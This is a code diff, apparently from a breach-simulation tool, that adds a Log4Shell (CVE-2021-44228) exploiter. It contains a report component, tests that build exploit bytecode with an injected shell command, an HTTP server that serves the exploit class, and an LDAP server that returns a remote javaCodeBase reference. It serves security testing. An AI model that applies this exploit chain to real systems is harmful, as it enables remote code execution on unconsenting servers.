<CollapsibleWellComponent>
|
||||
The {issue.service} server <span className="badge badge-primary">{issue.machine}</span> (<span
|
||||
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}:{issue.port}</span>) is vulnerable to <span
|
||||
className="badge badge-danger">the Log4Shell remote code execution</span> attack.
|
||||
<br/>
|
||||
The attack was made possible due to an old version of Apache Log4j component (
|
||||
<Button
|
||||
variant={'link'}
|
||||
href='https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228'
|
||||
target={'_blank'}
|
||||
className={'security-report-link'}
|
||||
>
|
||||
CVE-2021-44228
|
||||
</Button>).
|
||||
</CollapsibleWellComponent>
|
||||
</>
|
||||
);
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,5 @@
|
|||
public class SourceCode {
|
||||
static {
|
||||
System.out.println("Hello World!");
|
||||
}
|
||||
}
|
|
@ -0,0 +1,34 @@
|
|||
import pytest
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils import (
|
||||
LINUX_EXPLOIT_TEMPLATE_PATH,
|
||||
InvalidExploitTemplateError,
|
||||
build_exploit_bytecode,
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def payload():
|
||||
return "bash -c 'touch /tmp/exploit-test'"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def invalid_templates_dir(data_for_tests_dir):
|
||||
return data_for_tests_dir / "invalid_log4j_bytecode_templates"
|
||||
|
||||
|
||||
def test_inject_command(payload):
|
||||
expected_bytecode = b"\x21" + payload.encode() + b"\x0c"
|
||||
|
||||
exploit_bytecode = build_exploit_bytecode(payload, LINUX_EXPLOIT_TEMPLATE_PATH)
|
||||
assert expected_bytecode in exploit_bytecode
|
||||
|
||||
|
||||
def test_missing_injection_tag(invalid_templates_dir, payload):
|
||||
with pytest.raises(InvalidExploitTemplateError):
|
||||
build_exploit_bytecode(payload, invalid_templates_dir / "MissingTag.class")
|
||||
|
||||
|
||||
def test_uncompiled_java_class(invalid_templates_dir, payload):
|
||||
with pytest.raises(InvalidExploitTemplateError):
|
||||
build_exploit_bytecode(payload, invalid_templates_dir / "SourceCode.java")
|
|
@ -0,0 +1,54 @@
|
|||
import pytest
|
||||
import requests
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils import ExploitClassHTTPServer
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def ip():
|
||||
return "127.0.0.1"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def port():
|
||||
return get_free_tcp_port()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def java_class():
|
||||
return b"\xde\xad\xbe\xef"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def server(ip, port, java_class):
|
||||
server = ExploitClassHTTPServer(ip, port, java_class, 0.01)
|
||||
server.run()
|
||||
|
||||
yield server
|
||||
|
||||
server.stop()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def exploit_url(ip, port):
|
||||
return f"http://{ip}:{port}/Exploit"
|
||||
|
||||
|
||||
@pytest.mark.usefixtures("server")
|
||||
def test_only_single_download_allowed(exploit_url, java_class):
|
||||
response_1 = requests.get(exploit_url)
|
||||
assert response_1.status_code == 200
|
||||
assert response_1.content == java_class
|
||||
|
||||
response_2 = requests.get(exploit_url)
|
||||
assert response_2.status_code == 429
|
||||
assert response_2.content != java_class
|
||||
|
||||
|
||||
def test_exploit_class_downloded(server, exploit_url):
|
||||
assert not server.exploit_class_downloaded()
|
||||
|
||||
requests.get(exploit_url)
|
||||
|
||||
assert server.exploit_class_downloaded()
|
|
@ -0,0 +1,35 @@
|
|||
import pytest
|
||||
from ldap3 import ALL_ATTRIBUTES, BASE, Connection, Server
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils import LDAPExploitServer
|
||||
from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
|
||||
|
||||
@pytest.mark.slow
|
||||
def test_ldap_server(tmp_path):
|
||||
http_ip = "172.10.20.30"
|
||||
http_port = 9999
|
||||
ldap_port = get_free_tcp_port()
|
||||
|
||||
ldap_server = LDAPExploitServer(ldap_port, http_ip, http_port, tmp_path)
|
||||
ldap_server.run()
|
||||
|
||||
server = Server(host="127.0.0.1", port=ldap_port)
|
||||
conn = Connection(server, auto_bind=True)
|
||||
conn.search(
|
||||
search_base=EXPLOIT_RDN,
|
||||
search_filter="(objectClass=*)",
|
||||
search_scope=BASE,
|
||||
attributes=ALL_ATTRIBUTES,
|
||||
)
|
||||
|
||||
assert len(conn.response) == 1
|
||||
attributes = conn.response[0]["attributes"]
|
||||
|
||||
assert attributes.get("objectClass", None) == ["javaNamingReference"]
|
||||
assert attributes.get("javaClassName", None) == ["Exploit"]
|
||||
assert attributes.get("javaCodeBase", None) == [f"http://{http_ip}:{http_port}/"]
|
||||
assert attributes.get("javaFactory", None) == ["Exploit"]
|
||||
|
||||
ldap_server.stop()
|
|
@ -3,6 +3,7 @@ Everything in this file is what Vulture found as dead code but either isn't real
|
|||
dead or is kept deliberately. Referencing these in a file like this makes sure that
|
||||
Vulture doesn't mark these as dead again.
|
||||
"""
|
||||
from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory
|
||||
from monkey_island.cc.models import Report
|
||||
|
||||
fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37)
|
||||
|
@ -66,6 +67,7 @@ MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_proce
|
|||
VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45)
|
||||
DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48)
|
||||
POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52)
|
||||
ExploiterDescriptorEnum.LOG4SHELL
|
||||
_.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26)
|
||||
PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4)
|
||||
internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43)
|
||||
|
@ -181,6 +183,7 @@ Report.recommendations
|
|||
Report.glance
|
||||
Report.meta_info
|
||||
Report.meta
|
||||
LDAPServerFactory.buildProtocol
|
||||
|
||||
# these are not needed for it to work, but may be useful extra information to understand what's going on
|
||||
WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23)
|
||||
|
|
Loading…
Reference in New Issue